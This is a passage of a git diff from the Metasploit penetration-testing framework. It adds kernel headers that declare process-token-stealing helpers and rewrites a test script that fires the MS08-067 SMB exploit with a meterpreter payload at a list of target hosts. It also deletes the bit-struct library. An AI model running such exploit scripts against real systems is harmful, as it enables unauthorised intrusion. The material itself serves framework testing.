b/external/source/win_kernel_common/kernel.h new file mode 100755 index 0000000000..492b7a7ade --- /dev/null +++ b/external/source/win_kernel_common/kernel.h @@ -0,0 +1,23 @@ +#ifndef _KERNEL_H +#define _KERNEL_H + +#include "windefs.h" + +typedef struct _MemMapping +{ + HANDLE mapping; + LPBYTE buffer; +} MemMapping; + +BOOL was_token_replaced(); +BOOL prepare_for_kernel(); +VOID steal_process_token(); +VOID hal_dispatch_steal_process_token(); +ULONG_PTR get_hal_dispatch_pointer(); +DWORD get_page_size(); +BOOL create_anon_mapping(MemMapping* memMap); +VOID destroy_anon_mapping(MemMapping* memMap); +VOID invoke_hal_dispatch_pointer(); +BOOL is_driver_loaded(wchar_t* driverName); + +#endif diff --git a/external/source/win_kernel_common/windefs.h b/external/source/win_kernel_common/windefs.h new file mode 100755 index 0000000000..a0ec2e0d94 --- /dev/null +++ b/external/source/win_kernel_common/windefs.h @@ -0,0 +1,199 @@ +#ifndef _WINDEFS_H +#define _WINDEFS_H + +// Hooray for windows API stuff being so shit including different files results in a mess +#pragma warning(disable: 4005) // Macro redefinition + +#include +#include +#include + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +#ifndef SYSTEM_INFORMATION_CLASS +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation = 0, + SystemProcessorInformation = 1, + SystemPerformanceInformation = 2, + SystemTimeOfDayInformation = 3, + SystemPathInformation = 4, + SystemProcessInformation = 5, + SystemCallCountInformation = 6, + SystemDeviceInformation = 7, + SystemProcessorPerformanceInformation = 8, + SystemFlagsInformation = 9, + SystemCallTimeInformation = 10, + SystemModuleInformation = 11, + SystemLocksInformation = 12, + SystemStackTraceInformation = 13, + SystemPagedPoolInformation = 14, + SystemNonPagedPoolInformation = 15, + SystemHandleInformation = 16, + SystemObjectInformation = 17, + SystemPageFileInformation = 18, + SystemVdmInstemulInformation = 19, + SystemVdmBopInformation = 20, + SystemFileCacheInformation = 21, + SystemPoolTagInformation = 22, + SystemInterruptInformation = 23, + SystemDpcBehaviorInformation = 24, + SystemFullMemoryInformation = 25, + SystemLoadGdiDriverInformation = 26, + SystemUnloadGdiDriverInformation = 27, + SystemTimeAdjustmentInformation = 28, + SystemSummaryMemoryInformation = 29, + SystemMirrorMemoryInformation = 30, + SystemPerformanceTraceInformation = 31, + SystemObsolete0 = 32, + SystemExceptionInformation = 33, + SystemCrashDumpStateInformation = 34, + SystemKernelDebuggerInformation = 35, + SystemContextSwitchInformation = 36, + SystemRegistryQuotaInformation = 37, + SystemExtendServiceTableInformation = 38, + SystemPrioritySeperation = 39, + SystemVerifierAddDriverInformation = 40, + SystemVerifierRemoveDriverInformation = 41, + SystemProcessorIdleInformation = 42, + SystemLegacyDriverInformation = 43, + SystemCurrentTimeZoneInformation = 44, + SystemLookasideInformation = 45, + SystemTimeSlipNotification = 46, + SystemSessionCreate = 47, + SystemSessionDetach = 48, + SystemSessionInformation = 49, + SystemRangeStartInformation = 50, + SystemVerifierInformation = 51, + SystemVerifierThunkExtend = 52, + SystemSessionProcessInformation = 53, + SystemLoadGdiDriverInSystemSpace = 54, + SystemNumaProcessorMap = 55, + SystemPrefetcherInformation = 56, + SystemExtendedProcessInformation = 57, + SystemRecommendedSharedDataAlignment = 58, + SystemComPlusPackage = 59, + SystemNumaAvailableMemory = 60, + SystemProcessorPowerInformation = 61, + SystemEmulationBasicInformation = 62, + SystemEmulationProcessorInformation = 63, + SystemExtendedHandleInformation = 64, + SystemLostDelayedWriteInformation = 65, + SystemBigPoolInformation = 66, + SystemSessionPoolTagInformation = 67, + SystemSessionMappedViewInformation = 68, + SystemHotpatchInformation = 69, + SystemObjectSecurityMode = 70, + SystemWatchdogTimerHandler = 71, + SystemWatchdogTimerInformation = 72, + SystemLogicalProcessorInformation = 73, + SystemWow64SharedInformationObsolete = 74, + SystemRegisterFirmwareTableInformationHandler = 75, + SystemFirmwareTableInformation = 76, + SystemModuleInformationEx = 77, + SystemVerifierTriageInformation = 78, + SystemSuperfetchInformation = 79, + SystemMemoryListInformation = 80, + SystemFileCacheInformationEx = 81, + SystemThreadPriorityClientIdInformation = 82, + SystemProcessorIdleCycleTimeInformation = 83, + SystemVerifierCancellationInformation = 84, + SystemProcessorPowerInformationEx = 85, + SystemRefTraceInformation = 86, + SystemSpecialPoolInformation = 87, + SystemProcessIdInformation = 88, + SystemErrorPortInformation = 89, + SystemBootEnvironmentInformation = 90, + SystemHypervisorInformation = 91, + SystemVerifierInformationEx = 92, + SystemTimeZoneInformation = 93, + SystemImageFileExecutionOptionsInformation = 94, + SystemCoverageInformation = 95, + SystemPrefetchPatchInformation = 96, + SystemVerifierFaultsInformation = 97, + SystemSystemPartitionInformation = 98, + SystemSystemDiskInformation = 99, + SystemProcessorPerformanceDistribution = 100, + SystemNumaProximityNodeInformation = 101, + SystemDynamicTimeZoneInformation = 102, + SystemCodeIntegrityInformation = 103, + SystemProcessorMicrocodeUpdateInformation = 104, + SystemProcessorBrandString = 105, + SystemVirtualAddressInformation = 106, + SystemLogicalProcessorAndGroupInformation = 107, + SystemProcessorCycleTimeInformation = 108, + SystemStoreInformation = 109, + SystemRegistryAppendString = 110, + SystemAitSamplingValue = 111, + SystemVhdBootInformation = 112, + SystemCpuQuotaInformation = 113, + SystemNativeBasicInformation = 114, + SystemErrorPortTimeouts = 115, + SystemLowPriorityIoInformation = 116, + SystemBootEntropyInformation = 117, + SystemVerifierCountersInformation = 118, + SystemPagedPoolInformationEx = 119, + SystemSystemPtesInformationEx = 120, + SystemNodeDistanceInformation = 121, + SystemAcpiAuditInformation = 122, + SystemBasicPerformanceInformation = 123, + SystemQueryPerformanceCounterInformation = 124, + SystemSessionBigPoolInformation = 125, + SystemBootGraphicsInformation = 126, + SystemScrubPhysicalMemoryInformation = 127, + SystemBadPageInformation = 128, + SystemProcessorProfileControlArea = 129, + SystemCombinePhysicalMemoryInformation = 130, + SystemEntropyInterruptTimingInformation = 131, + SystemConsoleInformation = 132, + SystemPlatformBinaryInformation = 133, + SystemPolicyInformation = 134, + SystemHypervisorProcessorCountInformation = 135, + SystemDeviceDataInformation = 136, + SystemDeviceDataEnumerationInformation = 137, + SystemMemoryTopologyInformation = 138, + SystemMemoryChannelInformation = 139, + SystemBootLogoInformation = 140, + SystemProcessorPerformanceInformationEx = 141, + SystemSpare0 = 142, + SystemSecureBootPolicyInformation = 143, + SystemPageFileInformationEx = 144, + SystemSecureBootInformation = 145, + SystemEntropyInterruptTimingRawInformation = 146, + SystemPortableWorkspaceEfiLauncherInformation = 147, + SystemFullProcessInformation = 148, + SystemKernelDebuggerInformationEx = 149, + SystemBootMetadataInformation = 150, + SystemSoftRebootInformation = 151, + SystemElamCertificateInformation = 152, + SystemOfflineDumpConfigInformation = 153, + SystemProcessorFeaturesInformation = 154, + SystemRegistryReconciliationInformation = 155, + SystemEdidInformation = 156, + MaxSystemInfoClass = 157 +} SYSTEM_INFORMATION_CLASS; +#endif + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +#endif diff --git a/external/zsh/_msfconsole b/external/zsh/_msfconsole index 1a012fb62c..6cf529e91b 100644 --- a/external/zsh/_msfconsole +++ b/external/zsh/_msfconsole @@ -23,7 +23,6 @@ _arguments \ {-a,--ask}"[Ask before exiting Metasploit or accept 'exit -y']" \ "-c[Load the specified configuration file]:configuration file:_files" \ - {-d,--defanged}"[Execute the console as defanged]" \ {-E,--environment}"[Specify the database environment to load from the configuration]:environment:(production development)" \ {-h,--help}"[Show help text]" \ {-L,--real-readline}"[Use the system Readline library instead of RbReadline]" \ diff --git a/features/commands/help.feature b/features/commands/help.feature index c421184e42..0b9465075d 100644 --- a/features/commands/help.feature +++ b/features/commands/help.feature @@ -42,6 +42,7 @@ Feature: Help command route Route traffic through a session save Saves the active datastores search Searches module names and descriptions + sess Interact with a given session sessions Dump session listings and display information about sessions set Sets a context-specific variable to a value setg Sets a global variable to a value diff --git a/features/modules/exploit/smb/ms08_067_netapi.feature b/features/modules/exploit/smb/ms08_067_netapi.feature index fa6001a720..940ff2a4e6 100644 --- a/features/modules/exploit/smb/ms08_067_netapi.feature +++ b/features/modules/exploit/smb/ms08_067_netapi.feature @@ -10,18 +10,39 @@ Feature: MS08-067 netapi Given I ready the windows targets Given a file named "ms08-067-bind.rc" with: """ - - hosts = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml') - self.run_single('use exploit/windows/smb/ms08_067_netapi') - self.run_single('set payload windows/meterpreter/bind_tcp') - hosts.each do |host| - self.run_single("set RHOST #{host['ipAddress']}") - self.run_single('run -j') - sleep 1 - end - self.run_single('sessions -K') - + + self.run_single("spool #{Rails.root.join('tmp', 'console.log')}") + hosts = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml') + payload_name = 'windows/meterpreter/bind_tcp' + exploited_hosts = [] + failed_hosts = [] + + hosts.each do |host| + print_status("Trying MS08-067 against #{host['ipAddress']}") + mod = framework.exploits.create('windows/smb/ms08_067_netapi') + mod.datastore['PAYLOAD'] = payload_name + mod.datastore['RHOST'] = host['ipAddress'] + m = mod.exploit_simple( + 'LocalInput' => nil, + 'LocalOutput' => nil, + 'Payload' => payload_name, + 'RunAsJob' => false + ) + + sleep(1) + + if m + exploited_hosts << host['ipAddress'] + else + failed_hosts << host['ipAddress'] + end + end + + print_status("Exploited hosts: #{exploited_hosts.inspect}") + print_status("Failed hosts: #{failed_hosts.inspect}") + self.run_single('sessions -K') + """ - When I run `msfconsole --environment test -q -r ms08-067-bind.rc -x exit` + When I successfully run `msfconsole --environment test -q -r ms08-067-bind.rc -x exit` for up to 100 seconds Then the 'Mdm::Host' table contains the expected targets \ No newline at end of file diff --git a/features/msfconsole/database_yml.feature b/features/msfconsole/database_yml.feature index ff4eb68307..f2b40c213b 100644 --- a/features/msfconsole/database_yml.feature +++ b/features/msfconsole/database_yml.feature @@ -48,7 +48,7 @@ Feature: `msfconsole` `database.yml` database: project_metasploit_framework_test username: project_metasploit_framework_test """ - When I run `msfconsole --defer-module-loads --environment test --execute-command exit --yaml command_line.yml` + When I run `msfconsole -q --defer-module-loads --environment test --execute-command exit --yaml command_line.yml` Then the output should contain "command_line_metasploit_framework_test" Scenario: Without --yaml, MSF_DATABASE_CONFIG wins @@ -82,7 +82,7 @@ Feature: `msfconsole` `database.yml` database: project_metasploit_framework_test username: project_metasploit_framework_test """ - When I run `msfconsole --defer-module-loads --environment test --execute-command exit` + When I run `msfconsole -q --defer-module-loads --environment test --execute-command exit` Then the output should contain "environment_metasploit_framework_test" Scenario: Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins @@ -109,7 +109,7 @@ Feature: `msfconsole` `database.yml` database: project_metasploit_framework_test username: project_metasploit_framework_test """ - When I run `msfconsole --defer-module-loads --environment test --execute-command exit` + When I run `msfconsole -q --defer-module-loads --environment test --execute-command exit` Then the output should contain "user_metasploit_framework_test" Scenario: Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins @@ -127,7 +127,7 @@ Feature: `msfconsole` `database.yml` database: project_metasploit_framework_test username: project_metasploit_framework_test """ - When I run `msfconsole --defer-module-loads --environment test --execute-command exit` + When I run `msfconsole -q --defer-module-loads --environment test --execute-command db_status --execute-command exit` Then the output should contain "project_metasploit_framework_test" @@ -140,7 +140,7 @@ Feature: `msfconsole` `database.yml` And a mocked home directory And I cd to "../.." And the project "database.yml" does not exist - When I run `msfconsole --defer-module-loads --environment test --execute-command db_status --execute-command exit` + When I run `msfconsole -q --defer-module-loads --environment test --execute-command db_status --execute-command exit` Then the output should not contain "command_line_metasploit_framework_test" And the output should not contain "environment_metasploit_framework_test" And the output should not contain "user_metasploit_framework_test" @@ -148,6 +148,6 @@ Feature: `msfconsole` `database.yml` And the output should contain "[*] postgresql selected, no connection" Scenario: Starting `msfconsole` with a valid database.yml - When I run `msfconsole --defer-module-loads --execute-command db_status --execute-command exit` + When I run `msfconsole -q --defer-module-loads --execute-command db_status --execute-command exit` Then the output should contain "[*] postgresql connected to metasploit_framework_test" diff --git a/features/step_definitions/project.rb b/features/step_definitions/project.rb index 9e9ffa552a..1c24f07254 100644 --- a/features/step_definitions/project.rb +++ b/features/step_definitions/project.rb @@ -6,7 +6,7 @@ end Given /^the project "database.yml" exists with:$/ do |file_content| Metasploit::Framework::Database::Cucumber.backup_project_configurations - write_file(Metasploit::Framework::Database::Cucumber.project_configurations_path, file_content) + File.open(Metasploit::Framework::Database::Cucumber.project_configurations_path, 'wb') { |file| file.write(file_content) } end After do diff --git a/features/support/hooks.rb b/features/support/hooks.rb index 0707c96444..16c5973ef2 100644 --- a/features/support/hooks.rb +++ b/features/support/hooks.rb @@ -4,31 +4,36 @@ Before do @aruba_timeout_seconds = 8.minutes end -# don't setup child processes to load simplecov_setup.rb if simplecov isn't installed -unless Bundler.settings.without.include?(:coverage) - Before do |scenario| - command_name = case scenario - when Cucumber::Ast::Scenario, Cucumber::Ast::ScenarioOutline - "#{scenario.feature.title} #{scenario.name}" - when Cucumber::Ast::OutlineTable::ExampleRow - scenario_outline = scenario.scenario_outline - - "#{scenario_outline.feature.title} #{scenario_outline.name} #{scenario.name}" - else - raise TypeError, "Don't know how to extract command name from #{scenario.class}" - end - - # Used in simplecov_setup so that each scenario has a different name and their coverage results are merged instead - # of overwriting each other as 'Cucumber Features' - set_env('SIMPLECOV_COMMAND_NAME', command_name) - - simplecov_setup_pathname = Pathname.new(__FILE__).expand_path.parent.join('simplecov_setup') - # set environment variable so child processes will merge their coverage data with parent process's coverage data. - set_env('RUBYOPT', "#{ENV['RUBYOPT']} -r#{simplecov_setup_pathname}") - end - - Before('@db') do |scenario| - dbconfig = YAML::load(File.open(Metasploit::Framework::Database.configurations_pathname)) - ActiveRecord::Base.establish_connection(dbconfig["test"]) - end +Before('@db') do |scenario| + dbconfig = YAML::load(File.open(Metasploit::Framework::Database.configurations_pathname)) + ActiveRecord::Base.establish_connection(dbconfig["test"]) end + +# don't setup child processes to load simplecov_setup.rb if simplecov isn't installed +# unless Bundler.settings.without.include?(:coverage) +# Before do |scenario| +# command_name = case scenario +# when Cucumber::Ast::Scenario, Cucumber::Ast::ScenarioOutline +# "#{scenario.feature.title} #{scenario.name}" +# when Cucumber::Ast::OutlineTable::ExampleRow +# scenario_outline = scenario.scenario_outline +# +# "#{scenario_outline.feature.title} #{scenario_outline.name} #{scenario.name}" +# else +# raise TypeError, "Don't know how to extract command name from #{scenario.class}" +# end +# +# # Used in simplecov_setup so that each scenario has a different name and their coverage results are merged instead +# # of overwriting each other as 'Cucumber Features' +# set_env('SIMPLECOV_COMMAND_NAME', command_name) +# +# simplecov_setup_pathname = Pathname.new(__FILE__).expand_path.parent.join('simplecov_setup') +# # set environment variable so child processes will merge their coverage data with parent process's coverage data. +# set_env('RUBYOPT', "#{ENV['RUBYOPT']} -r#{simplecov_setup_pathname}") +# end +# +# Before('@db') do |scenario| +# dbconfig = YAML::load(File.open(Metasploit::Framework::Database.configurations_pathname)) +# ActiveRecord::Base.establish_connection(dbconfig["test"]) +# end +# end diff --git a/lib/anemone/storage/pstore.rb b/lib/anemone/storage/pstore.rb index 4d4ec52529..4af18676ce 100644 --- a/lib/anemone/storage/pstore.rb +++ b/lib/anemone/storage/pstore.rb @@ -9,7 +9,7 @@ module Anemone def_delegators :@keys, :has_key?, :keys, :size def initialize(file) - File.delete(file) if File.exists?(file) + File.delete(file) if File.exist?(file) @store = ::PStore.new(file) @keys = {} end diff --git a/lib/bit-struct.rb b/lib/bit-struct.rb deleted file mode 100644 index 0ff621ce07..0000000000 --- a/lib/bit-struct.rb +++ /dev/null @@ -1,15 +0,0 @@ -# -*- coding: binary -*- -# A Convenience to load all field classes and yaml handling. -# XXX: Pretty certian this monkeypatch isn't required in Metasploit. - -if "a"[0].kind_of? Fixnum - unless Fixnum.methods.include? :ord - class Fixnum - def ord; self; end - end - end -end - -require 'bit-struct/bit-struct' -require 'bit-struct/fields' -require 'bit-struct/yaml' diff --git a/lib/bit-struct/README b/lib/bit-struct/README deleted file mode 100644 index 8ef60f8c22..0000000000 --- a/lib/bit-struct/README +++ /dev/null @@ -1,187 +0,0 @@ -= BitStruct - -Class for packed binary data stored in ruby Strings. BitStruct accessors, generated from user declared fields, use pack/unpack to treat substrings as fields with a specified portable format. - -Field types include: - -* signed and unsigned integer (1..16 bits, or 24, 32, 40, 48... bits) - -* numeric fields (signed, unsigned, float) can be designated as any of the following endians: little, big, native, network (default) - -* fixed point, with arbitrary scale factor - -* fixed length character array - -* null-terminated character array for printable text - -* octets (hex and decimal representation options; useful for IP and MAC addrs) - -* float - -* nested BitStruct - -* vectors of embedded BitStructs - -* free-form "rest" field (e.g., for the variable-size payload of a packet) - -Field options (specifiable as :foo => val or "foo" => val) include: - -* *display_name*: used in BitStruct#inspect_detailed and BitStruct#describe outputs. - -* *default*: default field value - -* *format*: alternate format string for inspect - -* *endian*: for byte ordering of numeric fields (unsigned, signed, float): little, big, native, network (default) - -* *fixed*: float stored as fixed-point integer, with specified scale factor - - -== Installation - -For .gem: - - gem install bit-struct - -For .tgz, unpack and then: - - ruby install.rb config - ruby install.rb setup - ruby install.rb install - -== Uses - -BitStruct is useful for defining packets used in network protocols. This is especially useful for raw IP--see examples/ping-recv.rb. All multibyte numeric fields are stored by default in network order. - -BitStruct is most efficient when your data is primarily treated as a binary string, and only secondarily treated as a data structure. (For instance, you are routing packets from one socket to another, possibly looking at one or two fields as it passes through or munging some headers.) If accessor operations are a bottleneck, a better approach is to define a class that wraps an array and uses pack/unpack when the object needs to behave like a binary string. - -== Features - -* Extensible with user-defined field classes. - -* Fields are fully introspectable and can be defined programmatically. - -* BitStruct.describe prints out documentation of all the fields of a BitStruct subclass, based on declarations. This is useful for communicating with developers who are not using ruby, but need to talk the same protocols. See Example, below. - -* Fields are inherited by subclasses. (The free-form "rest" field does not inherit, because it usually represents a payload whose structure is defined in subclasses using the fixed-size fields.) - -* BitStruct#inspect and BitStruct#inspect_detailed can be used for prettified display of contents. (More generally, BitStruct#inspect takes some options that control formatting and detail level.) See Example, below. - -* BitStruct inherits from String, so all the usual methods are available, and string-sharing (copy-on-write) is in effect. - -* Easy access to a "prototype" instance of each BitStruct subclass, from which all instances of that subclass are initialized as a copy (in the absence of other initialization parameters, such as a hash, a string, or a block). See BitStruct.initial_value, and BitStruct#initialize. See Example, below. - -* Easy conversion to and from hashes, using BitStruct#to_h and BitStruct.new. - -* BitStructs can persist using Marshal (a BitStruct is after all just a string) or using YAML (with human readable representation of the fields). - -* Includes tests, examples, and rdoc API documentation. - -== Limitations - -* Fields that are not aligned on byte boundaries may cross no more than two bytes boundaries. (See examples/byte-bdy.rb.) - -* No variable length fields (except the #rest field). - -== Future plans - -* Currently, the library is written in pure ruby. The implementation uses Array#pack and String#unpack calls, as well as shifting and masking in pure ruby. Future versions will optionally generate a customized C extension for better efficiency. - -* A debug mode in which a class identifier is prepended to every BitStruct, so that protocol errors can be detected. (This feature has been implemented in an app that uses BitStruct, but needs to be refactored into the BitStruct library itself.) - -* Remove field size and alignment limitations. - -== Example - -An IP packet can be defined and used like this: - - require 'bit-struct' - - class IP < BitStruct - unsigned :ip_v, 4, "Version" - unsigned :ip_hl, 4, "Header length" - unsigned :ip_tos, 8, "TOS" - unsigned :ip_len, 16, "Length" - unsigned :ip_id, 16, "ID" - unsigned :ip_off, 16, "Frag offset" - unsigned :ip_ttl, 8, "TTL" - unsigned :ip_p, 8, "Protocol" - unsigned :ip_sum, 16, "Checksum" - octets :ip_src, 32, "Source addr" - octets :ip_dst, 32, "Dest addr" - rest :body, "Body of message" - - note " rest is application defined message body" - - initial_value.ip_v = 4 - initial_value.ip_hl = 5 - end - - ip = IP.new - ip.ip_tos = 0 - ip.ip_len = 0 - ip.ip_id = 0 - ip.ip_off = 0 - ip.ip_ttl = 255 - ip.ip_p = 255 - ip.ip_sum = 0 - ip.ip_src = "192.168.1.4" - ip.ip_dst = "192.168.1.255" - ip.body = "This is the payload text." - ip.ip_len = ip.length - - puts ip.inspect - puts "-"*50 - puts ip.inspect_detailed - puts "-"*50 - puts IP.describe - -(Note that you can also construct an IP packet by passing a string to new, or by passing a hash of field,value pairs, or by providing a block that is yielded the new BitStruct.) - -The output of this fragment is: - - # - -------------------------------------------------- - IP: - Version = 4 - Header length = 5 - TOS = 0 - Length = 45 - ID = 0 - Frag offset = 0 - TTL = 255 - Protocol = 255 - Checksum = 0 - Source addr = "192.168.1.4" - Dest addr = "192.168.1.255" - Body of message = "This is the payload text." - -------------------------------------------------- - - Description of IP Packet: - byte: type name [size] description - ---------------------------------------------------------------------- - @0: unsigned ip_v [ 4b] Version - @0: unsigned ip_hl [ 4b] Header length - @1: unsigned ip_tos [ 8b] TOS - @2: unsigned ip_len [ 16b] Length - @4: unsigned ip_id [ 16b] ID - @6: unsigned ip_off [ 16b] Frag offset - @8: unsigned ip_ttl [ 8b] TTL - @9: unsigned ip_p [ 8b] Protocol - @10: unsigned ip_sum [ 16b] Checksum - @12: octets ip_src [ 32b] Source addr - @16: octets ip_dst [ 32b] Dest addr - rest is application defined message body - -== Web site - -The current version of this software can be found at http://redshift.sourceforge.net/bit-struct. - -== License - -This software is distributed under the Ruby license. See http://www.ruby-lang.org. - -== Author - -Joel VanderWerf, mailto:vjoel@users.sourceforge.net -Copyright (c) 2005-2009, Joel VanderWerf. diff --git a/lib/bit-struct/bit-struct.rb b/lib/bit-struct/bit-struct.rb deleted file mode 100644 index a96863a5d4..0000000000 --- a/lib/bit-struct/bit-struct.rb +++ /dev/null @@ -1,575 +0,0 @@ -# -*- coding: binary -*- -# Class for packed binary data, with defined bitfields and accessors for them. -# See {intro.txt}[link:../doc/files/intro_txt.html] for an overview. -# -# Data after the end of the defined fields is accessible using the +rest+ -# declaration. See examples/ip.rb. Nested fields can be declared using +nest+. -# See examples/nest.rb. -# -# Note that all string methods are still available: length, grep, etc. -# The String#replace method is useful. -# -class BitStruct < String - VERSION = "0.13.6" - - class Field - # Offset of field in bits. - attr_reader :offset - - # Length of field in bits. - attr_reader :length - alias size length - - # Name of field (used for its accessors). - attr_reader :name - - # Options, such as :default (varies for each field subclass). - # In general, options can be provided as strings or as symbols. - attr_reader :options - - # Display name of field (used for printing). - attr_reader :display_name - - # Default value. - attr_reader :default - - # Format for printed value of field. - attr_reader :format - - # Subclasses can override this to define a default for all fields of this - # class, not just the one currently being added to a BitStruct class, a - # "default default" if you will. The global default, if #default returns - # nil, is to fill the field with zero. Most field classes just let this - # default stand. The default can be overridden per-field when a BitStruct - # class is defined. - def self.default; nil; end - - # Used in describe. - def self.class_name - @class_name ||= name[/\w+$/] - end - - # Used in describe. Can be overridden per-subclass, as in NestedField. - def class_name - self.class.class_name - end - - # Yield the description of this field, as an array of 5 strings: byte - # offset, type, name, size, and description. The opts hash may have: - # - # :expand :: if the value is true, expand complex fields - # - # (Subclass implementations may yield more than once for complex fields.) - # - def describe opts - bits = size - if bits > 32 and bits % 8 == 0 - len_str = "%dB" % (bits/8) - else - len_str = "%db" % bits - end - - byte_offset = offset / 8 + (opts[:byte_offset] || 0) - - yield ["@%d" % byte_offset, class_name, name, len_str, display_name] - end - - # Options are _display_name_, _default_, and _format_ (subclasses of Field - # may add other options). - def initialize(offset, length, name, opts = {}) - @offset, @length, @name, @options = - offset, length, name, opts - - @display_name = opts[:display_name] || opts["display_name"] - @default = opts[:default] || opts["default"] || self.class.default - @format = opts[:format] || opts["format"] - end - - # Inspect the value of this field in the specified _obj_. - def inspect_in_object(obj, opts) - val = obj.send(name) - str = - begin - val.inspect(opts) - rescue ArgumentError # assume: "wrong number of arguments (1 for 0)" - val.inspect - end - (f=@format) ? (f % str) : str - end - - # Normally, all fields show up in inspect, but some, such as padding, - # should not. - def inspectable?; true; end - end - - NULL_FIELD = Field.new(0, 0, :null, :display_name => "null field") - - # Raised when a field is added after an instance has been created. Fields - # cannot be added after this point. - class ClosedClassError < StandardError; end - - # Raised if the chosen field name is not allowed, either because another - # field by that name exists, or because a method by that name exists. - class FieldNameError < StandardError; end - - @default_options = {} - - @initial_value = nil - @closed = nil - @rest_field = nil - @note = nil - - class << self - def inherited cl - cl.instance_eval do - @initial_value = nil - @closed = nil - @rest_field = nil - @note = nil - end - end - - # ------------------------ - # :section: field access methods - # - # For introspection and metaprogramming. - # - # ------------------------ - - # Return the list of fields for this class. - def fields - @fields ||= self == BitStruct ? [] : superclass.fields.dup - end - - # Return the list of fields defined by this class, not inherited - # from the superclass. - def own_fields - @own_fields ||= [] - end - - # Add a field to the BitStruct (usually, this is only used internally). - def add_field(name, length, opts = {}) - round_byte_length ## just to make sure this has been calculated - ## before adding anything - - name = name.to_sym - - if @closed - raise ClosedClassError, "Cannot add field #{name}: " + - "The definition of the #{self.inspect} BitStruct class is closed." - end - - if fields.find {|f|f.name == name} - raise FieldNameError, "Field #{name} is already defined as a field." - end - - if instance_methods(true).find {|m| m == name} - if opts[:allow_method_conflict] || opts["allow_method_conflict"] - warn "Field #{name} is already defined as a method." - else - raise FieldNameError,"Field #{name} is already defined as a method." - end - end - - field_class = opts[:field_class] - - prev = fields[-1] || NULL_FIELD - offset = prev.offset + prev.length - field = field_class.new(offset, length, name, opts) - field.add_accessors_to(self) - fields << field - own_fields << field - @bit_length += field.length - @round_byte_length = (bit_length/8.0).ceil - - if @initial_value - diff = @round_byte_length - @initial_value.length - if diff > 0 - @initial_value << "\0" * diff - end - end - - field - end - - def parse_options(ary, default_name, default_field_class) # :nodoc: - opts = ary.grep(Hash).first || {} - opts = default_options.merge(opts) - - opts[:display_name] = ary.grep(String).first || default_name - opts[:field_class] = ary.grep(Class).first || default_field_class - - opts - end - - # Get or set the hash of default options for the class, which apply to all - # fields. Changes take effect immediately, so can be used alternatingly with - # blocks of field declarations. If +h+ is provided, update the default - # options with that hash. Default options are inherited. - # - # This is especially useful with the :endian => val option. - def default_options h = nil - @default_options ||= superclass.default_options.dup - if h - @default_options.merge! h - end - @default_options - end - - # Length, in bits, of this object. - def bit_length - @bit_length ||= fields.inject(0) {|a, f| a + f.length} - end - - # Length, in bytes (rounded up), of this object. - def round_byte_length - @round_byte_length ||= (bit_length/8.0).ceil - end - - def closed! # :nodoc: - @closed = true - end - - def field_by_name name - @field_by_name ||= {} - field = @field_by_name[name] - unless field - field = fields.find {|f| f.name == name} - @field_by_name[name] = field if field - end - field - end - end - - # Return the list of fields for this class. - def fields - self.class.fields - end - - # Return the rest field for this class. - def rest_field - self.class.rest_field - end - - # Return the field with the given name. - def field_by_name name - self.class.field_by_name name - end - - # ------------------------ - # :section: metadata inspection methods - # - # Methods to textually describe the format of a BitStruct subclass. - # - # ------------------------ - - class << self - # Default format for describe. Fields are byte, type, name, size, - # and description. - DESCRIBE_FORMAT = "%8s: %-12s %-14s[%4s] %s" - - # Can be overridden to use a different format. - def describe_format - DESCRIBE_FORMAT - end - - # Textually describe the fields of this class of BitStructs. - # Returns a printable table (array of line strings), based on +fmt+, - # which defaults to #describe_format, which defaults to +DESCRIBE_FORMAT+. - def describe(fmt = nil, opts = {}) - if fmt.kind_of? Hash - opts = fmt; fmt = nil - end - - if block_given? - fields.each do |field| - field.describe(opts) do |desc| - yield desc - end - end - nil - - else - fmt ||= describe_format - - result = [] - - unless opts[:omit_header] - result << fmt % ["byte", "type", "name", "size", "description"] - result << "-"*70 - end - - fields.each do |field| - field.describe(opts) do |desc| - result << fmt % desc - end - end - - unless opts[:omit_footer] - result << @note if @note - end - - result - end - end - - # Subclasses can use this to append a string (or several) to the #describe - # output. Notes are not cumulative with inheritance. When used with no - # arguments simply returns the note string - def note(*str) - @note = str unless str.empty? - @note - end - end - - # ------------------------ - # :section: initialization and conversion methods - # - # ------------------------ - - # Initialize the string with the given string or bitstruct, or with a hash of - # field=>value pairs, or with the defaults for the BitStruct subclass, or - # with an IO or other object with a #read method. Fields can be strings or - # symbols. Finally, if a block is given, yield the instance for modification - # using accessors. - def initialize(value = nil) # :yields: instance - self << self.class.initial_value - - case value - when Hash - value.each do |k, v| - send "#{k}=", v - end - - when nil - - else - if value.respond_to?(:read) - value = value.read(self.class.round_byte_length) - end - - self[0, value.length] = value - end - - self.class.closed! - yield self if block_given? - end - - DEFAULT_TO_H_OPTS = { - :convert_keys => :to_sym, - :include_rest => true - } - - # Returns a hash of {name=>value,...} for each field. By default, include - # the rest field. - # Keys are symbols derived from field names using +to_sym+, unless - # opts[:convert_keys]<\tt> is set to some other method name. - def to_h(opts = DEFAULT_TO_H_OPTS) - converter = opts[:convert_keys] || :to_sym - - fields_for_to_h = fields - if opts[:include_rest] and (rest_field = self.class.rest_field) - fields_for_to_h += [rest_field] - end - - fields_for_to_h.inject({}) do |h,f| - h[f.name.send(converter)] = send(f.name) - h - end - end - - # Returns an array of values of the fields of the BitStruct. By default, - # include the rest field. - def to_a(include_rest = true) - ary = - fields.map do |f| - send(f.name) - end - - if include_rest and (rest_field = self.class.rest_field) - ary << send(rest_field.name) - end - ary - end - - ## temporary hack for 1.9 - if "a"[0].kind_of? String - def [](*args) - if args.size == 1 and args[0].kind_of?(Fixnum) - super.ord - else - super - end - end - - def 